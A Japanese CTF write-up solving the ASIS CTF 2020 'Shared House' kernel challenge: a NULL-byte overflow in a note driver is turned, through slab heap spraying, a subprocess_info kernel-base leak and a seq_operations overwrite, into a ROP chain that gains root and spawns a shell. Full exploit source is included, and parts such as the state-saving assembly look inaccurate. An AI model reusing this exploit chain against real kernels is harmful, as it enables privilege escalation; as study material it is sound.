イントロ Link to this heading

いつぞや開催されたASIS CTF 2020 Quals。そのkernel exploit問題であるShared Houseを解いていく。割とベーシックな問題。

本 exploit はCVE-2016-6187(off-by-one NULL-byte overflow)の exploit を主に参考にしている。この脆弱性は本問題と割と似ている。この CVE の exploit は非常に丁寧でわかりやすいため一読の価値あり(5 年前のだけどそんなにふるさは感じない)。

static analysis Link to this heading

 1/ $ cat /proc/version
 2Linux version 4.19.98 (ptr@medium-pwn) (gcc version 8.3.0 (Buildroot 2019.11-git-00204-gc2417843c8)) #14 SMP Fri Jun 12 15:19:48 JST 2020
 3
 4qemu-system-x86_64 \
 5    -m 256M \
 6    -kernel ./bzImage \
 7    -initrd ./rootfs.cpio \
 8    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr pti=off quiet" \
 9    -cpu qemu64,+smep \
10    -monitor /dev/null \
11    -nographic
12
13$ modinfo ./note.ko
14filename:       /home/wataru/Documents/ctf/asis2020quals/shared_house/work/./note.ko
15description:    ASIS CTF Quals 2020
16author:         ptr-yudai
17license:        GPL
18depends:
19retpoline:      Y
20name:           note
21vermagic:       4.19.98 SMP mod_unload

SMEP 有効・SMAP 無効・KPTI 無効・oops->panic・シングルコア (これvermagicSMPって書いてあるけど、ほんとに SMP 有効なんかな。__per_cpu_offset無かったけど)

commands Link to this heading

commands.c
 10xC12ED002: SH_FREE
 2    if note is not NULL then
 3        kfree(note);
 4        note = NULL;
 50xC12ED001: SH_ALLOC
 6    if query.size <= 0x80 then
 7        size = query.size;
 8        note = kmalloc(size, GPF_KERNEL);
 90xC12ED003: SH_WRITE
10    if query.size <= size then
11        _copy_from_user(note, query.size);
12        note[buf.size] = '\0';
130xC12ED004: SH_READ
14    if note is not NULL and query.size <= size then
15        _copy_to_user(query.buf);

globals Link to this heading

globals.sh
1char *note;    // user指定のsizeだけの容量
2int size;      // user指定のsize

structures Link to this heading

structures.c
1struct query{
2    int size;
3    int NOUSE; // ulong sizeでいいわ
4    char *buf;
5}

vuln Link to this heading

NULL byte overflow in kmalloc-8 ~ kmalloc-128

vuln.c
 1          if (command == 0xc12ed003) {
 2            if (note != (char *)0x0) {
 3              if (buf.size <= size) {
 4                lVar1 = _copy_from_user(note,buf.buf);
 5                if (lVar1 == 0) {
 6                  note[buf.size] = '\0';
 7                  goto LAB_00100107;
 8                }
 9              }
10            }

まず確認 Link to this heading

NULL-byte overflow があるから object の next ポインタを書き換えるんだろうが、CONFIG_SLAB_FREELIST_HARDENED/CONFIG_SLAB_FREELIST_RANDOMがあると hoge だし、そもそもにkmem_cache.offsetがノンゼロだと書き換えることすらできないから check it out.

check-slab.sh
 1Breakpoint 1, 0xffffffffc0000000 in ?? () # ioctl()
 2(gdb) hb *0xffffffff810eda10 # kmalloc_slab
 3Hardware assisted breakpoint 2 at 0xffffffff810eda10
 4(gdb) c
 5Continuing.
 6Breakpoint 2, 0xffffffff810eda10 in ?? () # kmalloc_slab()
 7(gdb) p/x $rdi # 0x30サイズで呼び出したからこれが目的
 8$1 = 0x30
 9(gdb) fin
10Run till exit from #0  0xffffffff810eda10 in ?? ()
110xffffffff81111520 in ?? ()
12(gdb) p/x $rax
13$2 = 0xffff88800f001b00 # kmalloc-64
14(gdb) symbol-file ./vmlinux # 型情報だけ欲しいから自前vmlinux読む
15Reading symbols from ./vmlinux...
16(gdb) lx-symbols
17loading vmlinux
18(gdb) p *(struct kmem_cache*)$rax
19$3 = {cpu_slab = 0x20200 <ftrace_stacks+6816>, flags = 1073741824, min_partial = 5, size = 64, object_size = 64, reciprocal_size = {m = 0, sh1 = 30 '\036', sh2 = 0 '\000'}, offset = 64, oo = {x = 64}, max = {
20    x = 64}, min = {x = 0}, allocflags = 1, refcount = 0, ctor = 0x0 <fixed_percpu_data>, inuse = 64, align = 8, red_left_pad = 0,
21  name = 0xffffffff81b01e2e <ieee80211_tdls_build_mgmt_packet_data+318> "kmalloc-64", list = {next = 0xffff88800f001c60, prev = 0xffff88800f001a60}, kobj = {
22    name = 0xffffffff81b01e2e <ieee80211_tdls_build_mgmt_packet_data+318> "kmalloc-64", entry = {next = 0xffff88800f001c78, prev = 0xffff88800f001a78}, parent = 0xffff88800f1d8378, kset = 0xffff88800f1d8360,
23    ktype = 0xffffffff81c35ac0 <__entry_text_end+214374>, sd = 0xffff88800eb62a18, kref = {refcount = {refs = {counter = 1}}}, state_initialized = 1, state_in_sysfs = 1, state_add_uevent_sent = 1,
24    state_remove_uevent_sent = 0, uevent_suppress = 0}, remote_node_defrag_ratio = 4294967264, useroffset = 15, usersize = 251665336, node = {0xffff88800f001bb8, 0xffffffff8110f830 <audit_add_watch+320>,
25    0x4000000000, 0xffff88800f000f00, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x201e0 <ftrace_stacks+6784>, 0x40000000, 0x5 <fixed_percpu_data+5>,
26    0x2000000020, 0x1e00000000, 0x8000000080, 0x80, 0x1 <fixed_percpu_data+1>, 0x0 <fixed_percpu_data>, 0x800000020, 0x0 <fixed_percpu_data>, 0xffffffff81b01e23 <ieee80211_tdls_build_mgmt_packet_data+307>,
27    0xffff88800f001d60, 0xffff88800f001b60, 0xffffffff81b01e23 <ieee80211_tdls_build_mgmt_packet_data+307>, 0xffff88800f001d78, 0xffff88800f001b78, 0xffff88800f1d8378, 0xffff88800f1d8360,
28    0xffffffff81c35ac0 <__entry_text_end+214374>, 0xffff88800eb63aa0, 0x700000001, 0xfffffffe0, 0xffff88800f001cb8, 0xffff88800f001cb8, 0xffffffff8110f830 <audit_add_watch+320>, 0x2000000000,
29    0xffff88800f000f40, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x201c0 <ftrace_stacks+6752>, 0x40000000, 0x5 <fixed_percpu_data+5>, 0x1000000010,
30    0x1e00000000, 0x10000000100, 0x100, 0x1 <fixed_percpu_data+1>, 0x0 <fixed_percpu_data>, 0x800000010, 0x0 <fixed_percpu_data>, 0xffffffff81b01e18 <ieee80211_tdls_build_mgmt_packet_data+296>,
31    0xffff88800f001e60, 0xffff88800f001c60, 0xffffffff81b01e18 <ieee80211_tdls_build_mgmt_packet_data+296>, 0xffff88800f001e78, 0xffff88800f001c78, 0xffff88800f1d8378, 0xffff88800f1d8360,
32    0xffffffff81c35ac0 <__entry_text_end+214374>, 0xffff88800eb64b28, 0x700000001, 0xfffffffe0, 0xffff88800f001db8}}

offsetが 64 になっているため各 object の 0byte 目に next の pointer が入ることが分かる。実際に見てみると以下のとおり。

freelist.sh
 1(gdb) p/x *(struct kmem_cache_cpu*)(0x20200 + $gs_base)
 2$3 = {
 3  freelist = 0xffff88800e666100,
 4  tid = 0x108b,
 5  page = 0xffffea0000399980
 6}
 7(gdb) x/50gx 0xffff88800e666100
 80xffff88800e666100:     0xffff88800e666140      0x00000021646c726f
 90xffff88800e666110:     0x0000000000000000      0x0000000000000000
100xffff88800e666120:     0x0000000000000000      0x0000000000000000
110xffff88800e666130:     0x0000000000000000      0x0000000000000000
120xffff88800e666140:     0xffff88800e666180      0x00e800000000c7c7
130xffff88800e666150:     0x3110c48348000000      0x003d8b48c35d5bc0
140xffff88800e666160:     0x8d74ff8548000000      0x000000153be8558b
150xffff88800e666170:     0xe8f0758b48827700      0x0fc0854800000000
160xffff88800e666180:     0xffff88800e6661c0      0xc600000000158b48
170xffff88800e666190:     0x3d8b48b2eb000204      0x0fff854800000000
180xffff88800e6661a0:     0x0000e8ffffff5084      0x00000005c7480000
190xffff88800e6661b0:     0x4890eb0000000000      0x45e9ffffffeac0c7
200xffff88800e6661c0:     0xffff88800e666200      0x55ffffff39e9ffff
210xffff88800e6661d0:     0x000000c1c748f631      0xc74800000001ba00
220xffff88800e6661e0:     0xe5894800000000c7      0xc08500000000e853
230xffff88800e6661f0:     0x000000c7c7481374      0x00e8fffffff0bb00
240xffff88800e666200:     0xffff88800e666240      0x00c7c74800000000
250xffff88800e666210:     0x00000000e8000000      0x01ba00000000358b
260xffff88800e666220:     0x0000c7c748000000      0x00000005c7480000
270xffff88800e666230:     0x0000e80000000000      0x2374c389c0850000
280xffff88800e666240:     0xffff88800e666280      0x000000e8fffffff0
290xffff88800e666250:     0xbe000000003d8b00      0x000000e800000001
300xffff88800e666260:     0x0000c2c7481aeb00      0x000000c6c7480000
310xffff88800e666270:     0x00000000c7c74800      0x5bd88900000000e8
320xffff88800e666280:     0xffff88800e6662c0      0x0000e8e589480000

freelistのランダマイズもされていないし、ポインタの難読化もされていない。良さそう。

kernbase leak Link to this heading

subprocess_info Link to this heading

参考.3 の kernel 構造体集を参照して、kmalloc-128以下で kernbase が leak できるものを探す。但し、その構造体を利用する際に本モジュールの object と victim object が隣接するように新規ページ(スラブ)を利用するように調節(heap spray)する必要があり、leak に使う構造体と同一サイズのスラブを利用して任意の回数 alloc できる構造体も存在していなければならない(しかも、それはsetxattrのように確保と同一パスで解放されてはならない)。 この条件のもとで、spray にはstruct msg_msg(kmalloc-64~)を、kernbase leak にはstruct subprocess_info(kmalloc-128)を利用できる。

こいつは、参考.1 の通りsocket(22,AF_INET,0)のように呼んだ時に__sock_create()から呼ばれるrequest_module()(実体はcall_modprobe()またはその内側で呼ばれるcall_usermodehelper_setup())において確保される。この際に、work.funccall_usermodehelper_exec_work()が入るためこれが leak 可能となる。

ernel/umh.c
1	struct subprocess_info *sub_info;
2	sub_info = kzalloc(sizeof(struct subprocess_info), gfp_mask);
3	if (!sub_info)
4		goto out;
5
6	INIT_WORK(&sub_info->work, call_usermodehelper_exec_work);

また、同一パスでcall_usermodehelper_exec()において最終的にcall_usemodehelper_freeinfo()が呼ばれ、info->cleanup(info)を呼んだ後に解放される。

kernel/umh.c
1static void call_usermodehelper_freeinfo(struct subprocess_info *info)
2{
3	if (info->cleanup)
4		(*info->cleanup)(info);
5	kfree(info);
6}

まずはこの構造体を使って leak を行う。具体的にはsubprocess_infoの先頭から0x18byte 目に先程の関数ポインタが入っているから、これを leak する。total sizeは*0x60(<0x80)*ゆえ、kmalloc-128に入る。

struct subprocess_info

struct subprocess_info

heap spray Link to this heading

NULL-byte overflow して書き換える victim が隣接した object になるように、新しいスラブ(ページ)を使いたい。まずはrootで該当スラブの初期状態を確認。

slab-info.sh
1/ # cat /proc/slabinfo | grep ^kmalloc-128
2kmalloc-128          256    256    128   32    1 : tunables    0    0    0 : slabdata      8      8      0

あれ、この段階ですでにスラブは満杯になってるんかな。と思ったけど、実際にデバッグしてみると 0x5 回 alloc した時に新たにスラブが作られた。まあ正直完全に新品である必要はないから、1 スラブあたりの最大オブジェクト数である 0x20 回+α くらい alloc しておいたら良いと思う。まあ今回は 0x5 回+α の 0xF 回 alloc したところいい感じになった。

これで、object 丁度のサイズを_write()すれば NULL-byte overflow が起こりfreelistは以下のようになる。

freelistnext(0xFFFF80800E69B100)が自分自身を指していることが分かる。ここですぐにsubprocess_infoを割り当ててしまうと、subprocess_infoの先頭ワードが next となり、ヒープが崩壊してしまう。よって、一度noteを解放してmsgsnd()で object1 つ分をパディングした後、循環する object(0xFFFF80800E69B100)にnoteを書く。その際に先頭 1word を NULL にしておくことで、freelistは NULL になり、次のkmem_cache_alloc()時(freelistにはnoteを alloc した時点でnoteのアドレスが書き込まれているため、厳密には次の次)には正常に新しいスラブを確保してくれることになる。 socket()を呼び出す直前のスラブの状態は以下のとおりである。0x58が入っているのはnoteである。freelistにはnoteのアドレスが入っているものの、noteの先頭が 0 であるから、次のsocket呼び出し時にsubprocess_infoを alloc する同時に新しいスラブが割り当てられる。実際、以下のようになって、新しいスラブになっていることが分かる(下 3nibble が 000)。

あとはnoteとオーバーラップしたsubprocess_infoを読めば kernbase の leak 完了。

RIP を取る Link to this heading

cleanup + usefaultfd (FAIL) Link to this heading

前述したように、subprocess_infoは解放時にsubprocess_info.cleanup()をするため、これを上書きすることができれば RIP が取れる。方法として参考.1 ではsubprocess_infoがページをまたがって確保されるようにし、前者と後者それぞれにuserfaultfdを設定することで上手くcleanupが任意の値に操作できるようにしている。但し、kmalloc-128を利用する以上はオブジェクトはページをまたがって確保されることはない。 よって、先程freelistが NULL になるように調整したが、これを userland の mmap したアドレスを指すようにしたらfreelistがユーザ領域を指すようになって自由にわいわいできるんじゃないかと考えた。けど、フォルトで死んだ。SMAP 無効で KPTI 無効(SMEP のみ有効)な場合も、こういうのってダメなんだっけ?????

unable to handle kernel page fault

unable to handle kernel page fault

諦めて素直に seq_operations Link to this heading

素直に生きましょう。 seq_operationskmalloc-32に入る。

kmalloc-32.sh
1/ # cat /proc/slabinfo | grep ^kmalloc-32
2kmalloc-32           512    512     32  128    1 : tunables    0    0    0 : slabdata      4      4      0

1 スラブあたり 0x80 オブジェクトだから、まぁこれ+α くらい alloc しておけば大丈夫そう。以下が 0x80 回 alloc した後の図。

NULL-byte overflow で next を書き換えることを考えると、0xffff88800e6a1420となっているところを書き換えたい。というわけで、alloc する回数を微調整しつつ、victim となるseq_operationsを alloc する直前の状態が以下のとおり。

0xffff88800e692410noteが割り当てられているが、freelistからも指されていることが分かる。この際、note の中身を NULL にしておかないと、それが freelist の次の object だと認識されてヒープが壊れるので、NULL にしておく。 (author’s writeup では kernel heap を leak していたが、この方法でやればheap の leak は必要ない)

これで、read()をすれば RIP が取れる。

ROP chain Link to this heading

あとは、ROP で終わり。ROP をするためには RSP を制御できる必要がある。SP を制御できるガジェットは以下の通りで、この中から下 1nibble が 8-align されている適当なものを選ぶ。(適当と言っても、この内 9 割くらいは実際に見てみると0xcc命令に置き換わっている、なんで)

sp_gad.sh
 1$ rp++ -f ./vmlinux --unique -r1 | grep "mov esp"
 20xffffffff81cb0980: mov esp, 0x0000002C ; call rax ;  (1 found)
 30xffffffff81e312bb: mov esp, 0x00F461F3 ; retn 0x901F ;  (1 found)
 40xffffffff814cd63b: mov esp, 0x01000005 ; ret  ;  (1 found)
 50xffffffff810589b3: mov esp, 0x01428DD2 ; ret  ;  (1 found)
 60xffffffff812326ba: mov esp, 0x09B8550B ; retn 0x850F ;  (1 found)
 70xffffffff8104a73a: mov esp, 0x09E0D3C9 ; retn 0x8966 ;  (1 found)
 80xffffffff81e5a1ed: mov esp, 0x0A6805DD ; ret  ;  (1 found)
 90xffffffff81d95b1e: mov esp, 0x0B0AAD86 ; retn 0x962F ;  (1 found)
100xffffffff81dbc583: mov esp, 0x0F0B0C00 ; retn 0xC095 ;  (1 found)
110xffffffff8148dc49: mov esp, 0x0F4881A6 ; retn 0x66C3 ;  (1 found)
120xffffffff81dec325: mov esp, 0x131D832C ; ret  ;  (1 found)
130xffffffff81e3d509: mov esp, 0x144714DE ; ret  ;  (1 found)
140xffffffff81e55754: mov esp, 0x15CE2A03 ; ret  ;  (1 found)
150xffffffff81dff9cc: mov esp, 0x15FF851B ; retn 0x7EB1 ;  (1 found)
160xffffffff81dd79b7: mov esp, 0x167C22B7 ; retn 0x9847 ;  (2 found)
170xffffffff81dc56bb: mov esp, 0x1BD15533 ; call rcx ;  (1 found)
18(snipped...)

あとはいい感じに chain を組む。今回は no-KPTI。iretq以下の通り

iretq.c
 1PROTECTED-MODE:
 2    IF NT = 1
 3        THEN GOTO TASK-RETURN; (* PE = 1, VM = 0, NT = 1 *)
 4    FI;
 5    IF OperandSize = 32
 6        THEN
 7                EIP  Pop();
 8                CS  Pop(); (* 32-bit pop, high-order 16 bits discarded *)
 9                tempEFLAGS  Pop();
10        ELSE (* OperandSize = 16 *)
11                EIP  Pop(); (* 16-bit pop; clear upper bits *)
12                CS  Pop(); (* 16-bit pop *)
13                tempEFLAGS  Pop(); (* 16-bit pop; clear upper bits *)
14    FI;
15    IF tempEFLAGS(VM) = 1 and CPL = 0
16        THEN GOTO RETURN-TO-VIRTUAL-8086-MODE;
17        ELSE GOTO PROTECTED-MODE-RETURN;
18    FI;
19TASK-RETURN: (* PE = 1, VM = 0, NT = 1 *)
20    SWITCH-TASKS (without nesting) to TSS specified in link field of current TSS;
21    Mark the task just abandoned as NOT BUSY;
22    IF EIP is not within CS limit
23        THEN #GP(0); FI;
24END;

exploit Link to this heading

exploit.c
  1#define _GNU_SOURCE
  2#include <string.h>
  3#include <stdio.h>
  4#include <fcntl.h>
  5#include <stdint.h>
  6#include <unistd.h>
  7#include <assert.h>
  8#include <stdlib.h>
  9#include <signal.h>
 10#include <poll.h>
 11#include <pthread.h>
 12#include <err.h>
 13#include <errno.h>
 14#include <sched.h>
 15#include <linux/bpf.h>
 16#include <linux/filter.h>
 17#include <linux/userfaultfd.h>
 18#include <linux/prctl.h>
 19#include <sys/syscall.h>
 20#include <sys/ipc.h>
 21#include <sys/msg.h>
 22#include <sys/prctl.h>
 23#include <sys/ioctl.h>
 24#include <sys/mman.h>
 25#include <sys/types.h>
 26#include <sys/xattr.h>
 27#include <sys/socket.h>
 28#include <sys/uio.h>
 29
 30
 31// commands
 32#define DEV_PATH "/dev/note"   // the path the device is placed
 33
 34// constants
 35#define PAGE 0x1000
 36#define FAULT_ADDR 0xdead0000
 37#define FAULT_OFFSET PAGE
 38#define MMAP_SIZE 4*PAGE
 39#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
 40// (END constants)
 41
 42
 43// utils
 44#define WAIT getc(stdin);
 45#define ulong unsigned long
 46#define uint unsigned int
 47#define scu static const ulong
 48#define NULL (void*)0
 49#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
 50                        } while (0)
 51#define KMALLOC(qid, msgbuf, N) assert(sizeof(msgbuf.mtext) > 0x30); \
 52                        for(int ix=0; ix!=N; ++ix){\
 53                          if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
 54ulong user_cs,user_ss,user_sp,user_rflags;
 55struct pt_regs {
 56	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
 57	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
 58	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
 59	ulong orig_ax; ulong ip; ulong cs; ulong flags;
 60  ulong sp; ulong ss;
 61};
 62void print_regs(struct pt_regs *regs)
 63{
 64  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
 65  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
 66  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
 67  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
 68  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
 69}
 70void NIRUGIRI(void)
 71{
 72  char *argv[] = {"/bin/sh",NULL};
 73  char *envp[] = {NULL};
 74  execve("/bin/sh",argv,envp);
 75}
 76// should  compile with  -masm=intel
 77static void save_state(void) {
 78  asm(
 79      "movq %0, %%cs\n"
 80      "movq %1, %%ss\n"
 81      "movq %2, %%rsp\n"
 82      "pushfq\n"
 83      "popq %3\n"
 84      : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) :: "memory"
 85   );
 86}
 87
 88static void shellcode(void){
 89  asm(
 90    "xor rdi, rdi\n"
 91    "mov rbx, QWORD PTR [rsp+0x50]\n"
 92    "sub rbx, 0x244566\n"
 93    "mov rcx, rbx\n"
 94    "call rcx\n"
 95    "mov rdi, rax\n"
 96    "sub rbx, 0x470\n"
 97    "call rbx\n"
 98    "add rsp, 0x20\n"
 99    "pop rbx\n"
100    "pop r12\n"
101    "pop r13\n"
102    "pop r14\n"
103    "pop r15\n"
104    "pop rbp\n"
105    "ret\n"
106  );
107}
108// (END utils)
109
110// (shared_house)
111#define SH_ALLOC  0xC12ED001
112#define SH_FREE   0xC12ED002
113#define SH_WRITE  0xC12ED003
114#define SH_READ   0xC12ED004
115
116#define FAIL1     0xffffffffffffffa
117#define FAIL2     0xfffffffffffffff
118
119struct query{
120  ulong size;
121  char *buf;
122};
123
124#define INF 1<<31
125int shfd;
126int statfd;
127uint current_size = INF;
128
129
130void _alloc(uint size){
131  printf("[+] alloc: %x\n", size);
132  assert(size <= 0x80);
133  struct query q = {
134    .size = size
135  };
136  int tmp = ioctl(shfd, SH_ALLOC, &q);
137  assert(tmp!=FAIL1 && tmp!=FAIL2);
138  current_size = size;
139}
140
141void _free(void){
142  printf("[+] free\n");
143  assert(current_size != INF);
144  struct query q = {
145  };
146  int tmp = ioctl(shfd, SH_FREE, &q);
147  assert(tmp!=FAIL1 && tmp!=FAIL2);
148  current_size = INF;
149}
150
151void _write(char *buf, uint size){
152  printf("[+] write: %p %x\n", buf, size);
153  assert(current_size != INF && size <= current_size);
154  assert(current_size != -1);
155  struct query q = {
156    .buf = buf,
157    .size = size
158  };
159  int tmp = ioctl(shfd, SH_WRITE, &q);
160  assert(tmp!=FAIL1 && tmp!=FAIL2);
161}
162
163void _read(char *buf, uint size){
164  printf("[+] read: %p %x\n", buf, size);
165  assert(current_size != INF && size <= current_size);
166  struct query q = {
167    .buf = buf,
168    .size = size
169  };
170  int tmp = ioctl(shfd, SH_READ, &q);
171  assert(tmp!=FAIL1 && tmp!=FAIL2);
172}
173// (END shared_house)
174
175/*********** MAIN *********************************/
176
177struct _msgbuf80{
178  long mtype;
179  char mtext[0x80];
180};
181
182void gen_chain(ulong **a, const ulong kernbase)
183{
184  scu pop_rdi = 0x11c353;
185  scu prepare_kernel_cred = 0x69e00;
186  scu rax2rdi_rep_pop_rbp = 0x1877F; // 0xffffffff8101877f: mov rdi, rax ; rep movsq  ; pop rbp ; ret  ;  (1 found)
187  scu commit_creds = 0x069c10; // 0xffffffff81069c10
188  scu pop_rcx = 0x368fa; // 0xffffffff810368fa: pop rcx ; ret  ;  (53 found)
189  scu pop_r11 = 0xe12090; // 0xffffffff81e12090: pop r11 ; ret  ;  (2 found)
190  scu swapgs_pop_rbp = 0x03ef24; // 0xffffffff8103ef24:       0f 01 f8     swapgs
191  scu iretq_pop_rbp = 0x1d5c6; // 0xffffffff8101d5c6:   48 cf   iretq
192
193  save_state();
194
195  *a++ = pop_rdi + kernbase;
196  *a++ = 0;
197  *a++ = prepare_kernel_cred + kernbase;
198  *a++ = pop_rcx + kernbase;
199  *a++ = 0;
200  *a++ = rax2rdi_rep_pop_rbp + kernbase;
201  *a++ = 0;
202  *a++ = commit_creds + kernbase;
203
204  *a++ = swapgs_pop_rbp + kernbase;
205  *a++ = 0;
206  *a++ = iretq_pop_rbp + kernbase;
207  *a++ = &NIRUGIRI;
208  *a++ = user_cs;
209  *a++ = user_rflags;
210  *a++ = user_sp;
211  *a++ = user_ss;
212
213  *a++ = 0xdeadbeef; // unreachable
214}
215
216int main(int argc, char *argv[]) {
217  char buf[0x1000];
218  shfd = open(DEV_PATH, O_RDWR);
219  assert(shfd >= 0);
220
221  int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
222  if(qid == -1) errExit("msgget");
223  struct _msgbuf80 msgbuf = { .mtype = 1 };
224  KMALLOC(qid, msgbuf, 0xF);
225
226  _alloc(0x80);
227  memset(buf, 'X', 0x80);
228  _write(buf, 0x80); // vuln
229
230  _free();
231  KMALLOC(qid, msgbuf, 0x1);
232  memset(buf, 0, 0x8);
233  //*((ulong*)buf) = (ulong)maddr;
234  _alloc(0x80);
235  _write(buf, 0x80);
236  assert(socket(22, AF_INET, 0) < 0); // overlap subprocess_info
237  _read(buf, 0x80);
238  const ulong call_usermodehelper_exec_work = ((ulong*)buf)[0x18/sizeof(ulong)];
239  printf("[!] call_usermodehelper_exec_work: 0x%lx\n", call_usermodehelper_exec_work);
240  const ulong kernbase = call_usermodehelper_exec_work - (0xffffffff81060160 - 0xffffffff81000000);
241  printf("[!] kernbase: 0x%lx\n", kernbase);
242  _free();
243
244  for(int ix=0; ix!=0x82; ++ix){
245    statfd = open("/proc/self/stat", O_RDONLY);
246    assert(statfd > 0);
247  }
248  _alloc(0x20);
249  memset(buf, 'x', 0x20);
250  _write(buf, 0x20);  // vuln
251  _free();
252  statfd = open("/proc/self/stat", O_RDONLY); // dummy
253  _alloc(0x20);
254  statfd = open("/proc/self/stat", O_RDONLY); // victim
255
256  *((ulong*)buf) = kernbase + 0x05832b;
257  _write(buf, 0x20);
258
259  // prepare chain
260  const ulong gadstack = 0x83C389C0;
261  const char *maddr = mmap((void*)(gadstack & ~0xFFF), 4*PAGE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
262  printf("[+] mmapped @ %p\n", maddr);
263  const char *chain = maddr + (gadstack & 0xFFF);
264  gen_chain(chain, kernbase);
265
266  // NIRUGIRI
267  read(statfd, buf, 1);
268
269  return 0;
270}

アウトロ Link to this heading

もうすぐ春ですね。

symbols without KASLR Link to this heading

symbols.txt
1ioctl: 0xffffffffc0000000
2kmem_cache_alloc: 0xffffffff81111610
3__kmalloc: 0xffffffff81111500
4kmalloc_slab: 0xffffffff810eda10
5kmalloc-128's cpu_slab: 0x20240
6kmalloc-32's cpu_slab: 0x201e0
7prepare_kernel_cred: 0xffffffff81069e00
8commit_creds: 0xffffffff81069c10

シンボル__per_cpu_offsetがなかったから SMP じゃないと思ったけど、モジュール情報では SMP になってるしどうなんだろうなぁ。(因みに__per_cpu_offsetが無い時の CPU 固有アドレスは、$gs_base + CPU固有ポインタで計算される)

参考 Link to this heading